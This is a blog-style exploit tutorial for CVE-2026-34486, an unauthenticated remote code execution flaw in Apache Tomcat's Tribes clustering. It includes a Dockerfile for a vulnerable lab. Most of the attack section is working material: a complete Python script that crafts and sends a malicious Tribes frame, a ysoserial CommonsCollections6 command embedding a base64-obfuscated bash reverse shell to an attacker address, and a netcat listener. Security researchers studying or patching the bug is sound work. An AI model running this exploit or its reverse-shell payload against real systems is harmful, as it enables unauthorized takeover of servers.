Exploiting RCE in Apache Tomcat 10.1.53 (CVE-2026-34486) [+Video PoC]
CVE-2026-34486 is a critical vulnerability in Apache Tomcat Tribes, the framework responsible for session replication and clustering, specifically affecting the following versions where the fail-open regression was introduced:
- Apache Tomcat 11.0.20
- Apache Tomcat 10.1.53
- Apache Tomcat 9.0.116
This vulnerability impacts the specific set of releases rolled out in March 2026.
It is important to note that this RCE is not exploitable "out of the box" for every default Tomcat installation. For the vulnerability to be triggered, the following environmental conditions must be met:
- Active Tribes Clustering: The application must have clustering explicitly enabled, typically by defining the
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">element in theserver.xmlconfiguration file. This is the setting that actively boots up the vulnerable Tribes framework used for session replication. - Network Exposure: An attacker must have network-level access to the Tribes communication port (the default is often 4000, though it can vary).
- Presence of a Deserialization Gadget: As the exploit leverages the deserialization of untrusted data, a "gadget chain" must be available on the application's classpath. This means the target must be using specific versions of third-party libraries (like Commons-Collections) that can be chained together to execute commands.
If the above requirements are met, this vulnerability leads to unauthenticated RCE in Apache Tomcat.
What is this RCE in Apache Tomcat all about?
At its core, CVE-2026-34486 is a classic example of a security fix introducing a new, more severe problem. It stems from a "fail-open" regression within Tomcat Tribes, a component responsible for decrypting incoming messages between cluster nodes.
Here is exactly how the vulnerability unfolds:
- The Broken Fix: A previous patch (originally meant to fix a padding-oracle issue) accidentally altered the control flow of the application. Instead of safely dropping a message when decryption fails ("fail-closed"), the interceptor now simply ignores the error and continues processing the payload ("fail-open").
- The Attack Vector: An attacker can send a crafted, unauthenticated message directly to the exposed Tribes receiver port.
- The Deserialization Trap: Even though the malicious message fails decryption, the broken interceptor forwards the attacker-controlled bytes straight into Tomcat's Java deserialization routine (
ObjectInputStream). - The RCE: Because the data is deserialized without validation, an attacker can leverage a vulnerable library on the classpath (the gadget chain) to achieve full Remote Code Execution.
Apache Tomcat 10.1.53 RCE in Action
Building a Vulnerable Lab for CVE-2026-34486 using Docker
If you want to test this exploit locally in a safe environment, you can easily spin up a vulnerable Tomcat instance using Docker.
To get started, create a new folder named TomcatLabs. Inside this directory, create a Dockerfile with the content below to deploy an environment with active Tribes clustering and a vulnerable gadget chain already present.
# Dockerfile
FROM eclipse-temurin:17-jdk-jammy
ENV TOMCAT_VER=10.1.53
ENV INSTALL_DIR=/opt/tomcat
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update \
&& apt-get install -y --no-install-recommends wget curl ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN mkdir -p ${INSTALL_DIR} \
&& wget -q https://archive.apache.org/dist/tomcat/tomcat-10/v${TOMCAT_VER}/bin/apache-tomcat-${TOMCAT_VER}.tar.gz -O /tmp/tomcat.tar.gz \
&& tar -xzf /tmp/tomcat.tar.gz -C ${INSTALL_DIR} --strip-components=1 \
&& rm /tmp/tomcat.tar.gz \
&& chmod +x ${INSTALL_DIR}/bin/*.sh
RUN wget -q https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar -P ${INSTALL_DIR}/lib/
RUN cat > ${INSTALL_DIR}/conf/server.xml <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<Server port="8005" shutdown="SHUTDOWN">
<Service name="Catalina">
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
<Engine name="Catalina" defaultHost="localhost">
<Host name="localhost" appBase="webapps" unpackWARs="true" autoDeploy="true">
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster">
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
encryptionKey="1234567890123456"
encryptionAlgorithm="AES/CBC/PKCS5Padding" />
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="0.0.0.0"
port="4000"
autoBind="100"
selectorTimeout="5000"
maxThreads="6"/>
</Channel>
</Cluster>
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
</Host>
</Engine>
</Service>
</Server>
EOF
EXPOSE 8080 4000
CMD ["/opt/tomcat/bin/catalina.sh", "run"]
Inside the TomcatLabs folder, run the following command to start the vulnerable version of the environment:
docker build -t tomcatlabs-image .
docker run -d \
--name TomcatLabs \
-p 8080:8080 \
-p 4000:4000 \
tomcatlabs-image
Let's make sure everything is working okay on the "victim" VM:

Our lab VMs have the following IP addresses:
- victim (10.1.0.3) hosts a vulnerable Apache Tomcat instance.
- attacker (10.1.0.2) will launch the attack and receive the reverse shell.
To get started, establish two separate SSH sessions to your attacker machine. This allows us to keep our listener active while simultaneously preparing and launching the exploit.
Session 1: Setting up the Listener
In the first session, we need to initialize a listener to catch the incoming connection from the target. Standard netcat does the trick here:
nc -nlvp 4444

Session 2: Launching the Exploit
With our listener standing by, we use the second session to prepare the environment and execute the attack. Follow these steps:
1) Check for JRE: Ensure the Java Runtime Environment (JRE) is installed, as it's required for our payload generator.
apt update && apt install -y openjdk-17-jdk
2) Download ysoserial: Fetch the ysoserial tool, which is essential for generating serialized objects for the exploit.
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
3) Create exploit.py: Create the primary exploit script that will handle the delivery of the payload. Paste the following code into the terminal:
cat << 'EOF' > exploit.py
import socket
import struct
import sys
def build_member_data():
# 1. Header (8 bytes)
header = b"TRIBES-B\x01\x00"
# 2. MemberImpl fixed fields
alive = struct.pack(">Q", 1000000) # 8 bytes
port = struct.pack(">i", 4000) # 4 bytes
secure_port = struct.pack(">i", -1) # 4 bytes
udp_port = struct.pack(">i", -1) # 4 bytes
# 3. Host (Exactly 4 bytes for IPv4)
host_bytes = b"\x7f\x00\x00\x01" # 127.0.0.1
host_len = struct.pack("b", len(host_bytes)) # 1 byte
# 4. Command and Domain (Length 0 -> 4 bytes per field)
command_len = struct.pack(">i", 0)
domain_len = struct.pack(">i", 0)
# 5. Unique ID (Exactly 16 bytes)
unique_id = b"\x00" * 16
# 6. Internal Member Payload (Set to 0)
member_payload_len = struct.pack(">i", 0)
member_body = (alive + port + secure_port + udp_port + host_len +
host_bytes + command_len + domain_len + unique_id +
member_payload_len)
# 7. Body length (4 bytes)
body_len_field = struct.pack(">i", len(member_body))
# 8. Footer (10 bytes)
footer = b"TRIBES-E\x01\x00"
return header + body_len_field + member_body + footer
def trigger(target_ip, payload_file):
try:
with open(payload_file, "rb") as f:
object_payload = f.read()
except FileNotFoundError:
print(f"[!] Error: {payload_file} not found!")
return
# --- Build ChannelData ---
options = struct.pack(">i", 0) # 4 bytes
timestamp = struct.pack(">Q", 999999) # 8 bytes
unique_id_cd = b"\x01" * 16 # Message ID
unique_id_cd_len = struct.pack(">i", len(unique_id_cd))
address_data = build_member_data()
address_len = struct.pack(">i", len(address_data))
message_len = struct.pack(">i", len(object_payload))
# Assemble ChannelData body
cd_body = (options + timestamp + unique_id_cd_len + unique_id_cd +
address_len + address_data + message_len + object_payload)
# --- Final FLT2002 Frame ---
packet = b"FLT2002" + struct.pack(">i", len(cd_body)) + cd_body + b"TLF2003"
print(f"[*] Sending packet ({len(packet)} bytes) to {target_ip}:4000...")
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((target_ip, 4000))
s.sendall(packet)
print("[+] Packet sent successfully.")
except Exception as e:
print(f"[!] Connection failed: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_ip>")
sys.exit(1)
target = sys.argv[1]
trigger(target, "payload.bin")
EOF
4) Generate the Payload: Generate the specific payload string. Crucial: Make sure to include your attacker machine's IP address and the port where you're listening for the reverse shell.
java --add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
-jar ysoserial-all.jar \
CommonsCollections6 \
"bash -c {echo,$(echo -n 'bash -i >& /dev/tcp/10.1.0.2/4444 0>&1' | base64 -w 0)}|{base64,-d}|{bash,-i}" \
> payload.bin
5) Execute: Run the exploit script, pointing it directly at the victim server's IP address.
python3 exploit.py 10.1.0.3

Looking Ahead: What’s the Lesson?
System security isn't just an endless race to install the latest patches; it's the art of deeply understanding the logic behind the code. The story of CVE-2026-34486 in Apache Tomcat serves as a stark reminder that even well-intentioned security fixes can introduce a critical RCE (Remote Code Execution) vulnerability if the fundamental principle of fail-closed design is overlooked. The takeaway for any security researcher is that our work is never truly done. Every patch is merely a new set of assumptions waiting to be tested, and every fix is a potential new attack surface that requires its own cycle of rigorous verification.
References:
The most comprehensive technical deep dive:
https://www.striga.ai/research/tomcat-tribes-unauth-rce
Other Resources:
https://www.cve.org/CVERecord?id=CVE-2026-34486
https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly